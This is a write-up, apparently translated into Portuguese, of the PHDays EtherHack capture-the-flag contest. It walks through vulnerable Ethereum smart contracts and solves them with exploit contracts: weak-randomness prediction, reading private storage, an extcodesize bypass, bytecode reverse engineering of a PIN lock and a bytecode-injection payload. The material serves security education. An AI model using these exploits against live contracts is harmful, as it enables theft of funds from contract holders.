
Este ano, a PHDays organizou uma competição chamada
EtherHack pela primeira vez. Os participantes procuraram vulnerabilidades em contratos inteligentes por velocidade. Neste artigo, falaremos sobre as tarefas da competição e as possíveis maneiras de resolvê-las.
Azino 777
Ganhe na loteria e quebre o pote!
As três primeiras tarefas foram relacionadas a erros na geração de números pseudo-aleatórios, dos quais falamos recentemente:
prever números aleatórios em contratos inteligentes do Ethereum . A primeira tarefa foi baseada em um gerador de números pseudo-aleatórios (PRNG), que usou o hash do último bloco como fonte de entropia para gerar números aleatórios:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Como o resultado da chamada da função
block.blockhash(block.number-1)
será o mesmo para qualquer transação dentro do mesmo bloco, o ataque poderá usar um contrato de exploração com a mesma função
rand()
para chamar o contrato de destino por meio de uma mensagem interna:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Private ryan
Adicionamos um valor inicial privado que ninguém jamais calculará.
Esta tarefa é uma versão ligeiramente complicada da anterior. A variável de semente, que é considerada privada, é usada para compensar o número ordinal do bloco (block.number) para que o hash do bloco não dependa do bloco anterior. Após cada aposta, a semente é reescrita para um novo deslocamento "aleatório". Por exemplo, na loteria
Slotthereum , era exatamente isso.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
Como na tarefa anterior, o hacker só precisava copiar a função
rand()
na exploração do contrato, mas, neste caso, o valor da semente da variável privada precisou ser obtido fora do blockchain e depois enviado à exploração como argumento. Para fazer isso, você pode usar o método
web3.eth.getStorageAt () da biblioteca web3:
Lendo a loja contratada fora da blockchain para obter o valor inicialDepois de receber o valor inicial, resta apenas enviá-lo para a exploração, que é quase idêntico ao da primeira tarefa:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Roda da fortuna
Esta loteria usa o hash do bloco subsequente. Tente calculá-lo!
Nesta tarefa, foi necessário descobrir o hash do bloco cujo número foi armazenado na estrutura do jogo após a aposta. Esse hash foi extraído para gerar um número aleatório após a próxima aposta.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
Nesse caso, existem duas soluções possíveis.
- Chame o contrato de destino duas vezes através do contrato de exploração. O resultado da chamada da função block.blockhash (block.number) sempre será zero.
- Aguarde 256 blocos para entrar e faça uma segunda aposta. O hash do número de sequência de blocos armazenado será zero devido às limitações da Ethereum Virtual Machine (EVM) no número de hashes de bloco disponíveis.
Nos dois casos, a aposta vencedora será
uint256(keccak256(bytes32(0))) % 100
ou "47".
Me ligue talvez
Este contrato não gosta quando outros contratos o chamam.
Uma maneira de impedir que um contrato seja chamado por outros contratos é usar a instrução EVM
extcodesize
, que retorna o tamanho do contrato em seu endereço. O método é usar esta instrução para o endereço do remetente da transação usando a inserção do assembler. Se o resultado for maior que zero, o remetente da transação é um contrato, pois os endereços comuns no Ethereum não possuem código. Foi precisamente essa abordagem que foi usada nesta tarefa para impedir que outros contratos o chamem.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
A
tx.origin
transação
tx.origin
aponta para o criador original da transação e msg.sender para o último chamador. Se enviarmos a transação do endereço usual, essas variáveis serão iguais e terminaremos com
revert()
. Portanto, para resolver nosso problema, foi necessário ignorar a verificação da instrução
extcodesize
para que
tx.origin
e
msg.sender
diferentes. Felizmente, há um recurso interessante no EVM que pode ajudar com isso:

De fato, quando o contrato recém-contratado chama outro contrato no construtor, ele ainda não existe no blockchain, mas atua exclusivamente como uma carteira. Portanto, o código não está vinculado ao novo contrato e extcodesize retornará zero:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
A fechadura
Curiosamente, o castelo está fechado. Tente pegar o código PIN através da função de desbloqueio (bytes4 pincode). Cada tentativa de desbloquear custará 0,5 éter.
Nesta tarefa, os participantes não receberam um código - eles tiveram que restaurar a lógica do contrato por seu bytecode. Uma opção era usar o Radare2, uma plataforma usada para
desmontar e
depurar EVMs .
Para começar, publicaremos um exemplo da tarefa e inseriremos o código aleatoriamente:
await contract.unlock("1337", {value: 500000000000000000}) →false
A tentativa, é claro, é boa, mas sem sucesso. Agora tente depurar esta transação.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
Nesse caso, instruímos o Radare2 a usar a arquitetura evm. Essa ferramenta se conecta ao nó Ethereum e recupera o rastreamento dessa transação na máquina virtual. E agora, finalmente, estamos prontos para mergulhar no bytecode EVM.
Primeiro de tudo, você precisa realizar uma análise:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Em seguida, desmontamos as primeiras 1000 instruções (isso deve ser suficiente para cobrir todo o contrato) usando o comando pd 1000 e passamos a exibir o gráfico com o comando VV.
No código de bytes EVM compilado com
solc
, geralmente o gerenciador de funções vem em primeiro lugar. Com base nos quatro primeiros bytes dos dados da chamada que contêm a assinatura da função, definida como
bytes4(sha3(function_name(params)))
, o gerenciador de funções decide qual função chamar. Estamos interessados na função de
unlock(bytes4)
, que corresponde a
0x75a4e3a0
.
Após o fluxo de execução usando a chave s, chegamos ao nó que compara a
callvalue
com o valor
0x6f05b59d3b20000
ou
500000000000000000
, que é equivalente a 0,5 éter:
push8 0x6f05b59d3b20000 callvalue lt
Se o éter fornecido for suficiente, nos encontraremos em um nó que se assemelha a uma estrutura de controle:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
O código coloca o valor 0x4 no topo da pilha, verifica o limite superior (o valor não deve exceder 0xff) e compara lt com algum valor duplicado do quarto elemento da pilha (dup4).
Rolando até a parte inferior do gráfico, vemos que esse quarto elemento é essencialmente um iterador, e essa estrutura de controle é um loop que corresponde a
for(var i=0; i<4; i++):
push1 0x1 add swap4
Se considerarmos o corpo do loop, torna-se óbvio que ele enumera quatro bytes recebidos e executa algumas operações com cada um dos bytes. Primeiro, o loop verifica se o enésimo byte é maior que 0x30:
push1 0x30 dup3 lt iszero
e também que esse valor é menor que 0x39:
push1 0x39 dup3 gt iszero
que é essencialmente uma verificação de que o byte fornecido está no intervalo de 0 a 9. Se a verificação for bem-sucedida, nos encontraremos no bloco de código mais importante:

Vamos dividir esse bloco em partes:
1. O terceiro elemento da pilha é o código ASCII do enésimo byte do código PIN. 0x30 (código ASCII para zero) é colocado na pilha e subtraído do código deste byte:
push1 0x30 dup3 sub
Ou seja,
pincode[i] - 48
, e basicamente obtemos um dígito do código ASCII, vamos chamá-lo de d.
2. 0x4 é adicionado à pilha e usado como expoente para o segundo elemento na pilha, d:
swap1 pop push1 0x4 dup2 exp
Ou seja,
d ** 4
.
3. O quinto elemento da pilha é recuperado e o resultado da exponenciação é adicionado a ela. Chame essa soma de S:
dup5 add swap4 pop dup1
Ou seja,
S += d ** 4
.
4. 0xa (código ASCII para 10) é empurrado para a pilha e usado como multiplicador para o sétimo elemento da pilha (que era o sexto antes dessa adição). Como não sabemos o que é, chamaremos esse elemento de U. Em seguida, d é adicionado ao resultado da multiplicação:
push1 0xa dup7 mul add swap5 pop
Ou seja:
U = U * 10 + d
ou, mais simplesmente, essa expressão recupera o código PIN inteiro como um número de bytes individuais
([0x1, 0x3, 0x3, 0x7] → 1337)
.
A coisa mais difícil que fizemos, agora vamos para o código após o loop.
dup5 dup5 eq
Se o quinto e o sexto elementos da pilha forem iguais, o fluxo de execução nos levará à instrução de armazenamento, que define um determinado sinalizador no armazenamento de contrato. Como esta é a única instrução de armazenamento, aparentemente é isso que estávamos procurando.
Mas como passar por esse teste? Como já descobrimos, o quinto elemento da pilha é S e o sexto é U. Como S é a soma de todos os dígitos do código PIN aumentado para a quarta potência, precisamos de um código PIN para o qual essa condição será atendida. No nosso caso, a análise mostrou que
1**4 + 3**4 + 3**4 + 7**4
não é igual a 1337 e não recebemos as instruções vencedoras da
sstore
.
Mas agora podemos calcular um número que satisfaça as condições dessa equação. Existem apenas três números que podem ser escritos como a soma dos dígitos do quarto grau: 1634, 8208 e 9474. Qualquer um deles pode abrir a fechadura!
Navio pirata
Hey Salag! Um navio pirata atracado no porto. Faça-o soltar âncora e levantar a bandeira com Jolly Roger e ir em busca de tesouros.
O curso padrão da execução do contrato inclui três ações:
- Uma chamada para a função
dropAnchor()
com um número de bloco que deve ser mais de 100.000 blocos maior que o atual. A função cria dinamicamente um contrato, que é uma "âncora", que pode ser "levantada" usando selfdestruct()
após o bloco especificado. - Uma chamada para a função
pullAnchor()
, que inicia a selfdestruct()
se houver tempo suficiente (muito tempo!). - Chame sailAway (), que define
blackJackIsHauled
como true se não houver contrato âncora.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
A vulnerabilidade é bastante óbvia: temos uma injeção direta de instruções do assembler ao criar um contrato na função
dropAnchor()
. Mas a principal dificuldade era criar uma carga útil que nos permitisse passar na
block.number
.
No EVM, você pode criar contratos usando a instrução create. Seus argumentos são valor, deslocamento de entrada e tamanho da entrada. value é um bytecode que hospeda o próprio contrato (código de inicialização). No nosso caso, o código de inicialização + o código do contrato é colocado em uint256 (obrigado à equipe
GasToken pela ideia):
0x6a63004141414310585733ff600052600b6015f3
onde os bytes em negrito são o código do contrato hospedado e 414141 é o local da injeção. Como somos confrontados com a tarefa de nos livrar do operador throw, precisamos inserir nosso novo contrato e reescrever a parte final do código de inicialização. Vamos tentar injetar o contrato com a instrução 0xff, o que levará à remoção incondicional do contrato âncora usando
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; contrato push9
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; retornar
Se convertermos essa sequência de bytes em
uint256 (9081882833248973872855737642440582850680819)
e a usarmos como argumento para a função
dropAnchor()
, obteremos o seguinte valor para a variável de código (o bytecode em negrito é nossa carga útil):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
Após a variável de código se tornar parte da variável initcode, obtemos o seguinte valor:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Agora, os bytes altos
0x6300
desapareceram e o restante do bytecode é descartado após
0xf3 (return)
.

Como resultado, um novo contrato com a lógica alterada é criado:
41 ;; base de moedas
41 ;; base de moedas
41 ;; base de moedas
ff ;; auto-destruição
3f ;; lixo
3f ;; lixo
3f ;; lixo
3f ;; lixo
3f ;; lixo
Se agora chamarmos a função pullAnchor (), este contrato será imediatamente destruído, já que não temos mais uma verificação no bloco.number. Depois disso, chamamos a função sailAway () e comemoramos a vitória!
Resultados
- Primeiro lugar e transmissão no valor equivalente a 1.000 dólares: Alexey Pertsev (p4lex)
- Segundo lugar e Ledger Nano S: Alexey Markov
- Terceiro lugar e lembranças do PHDays: Alexander Vlasov
Todos os resultados:
etherhack.positive.com/#/scoreboard
Parabéns aos vencedores e obrigado a todos os participantes!
PS Agradecimentos ao
Zeppelin por
tornar o código fonte da plataforma
Ethernaut CTF aberto.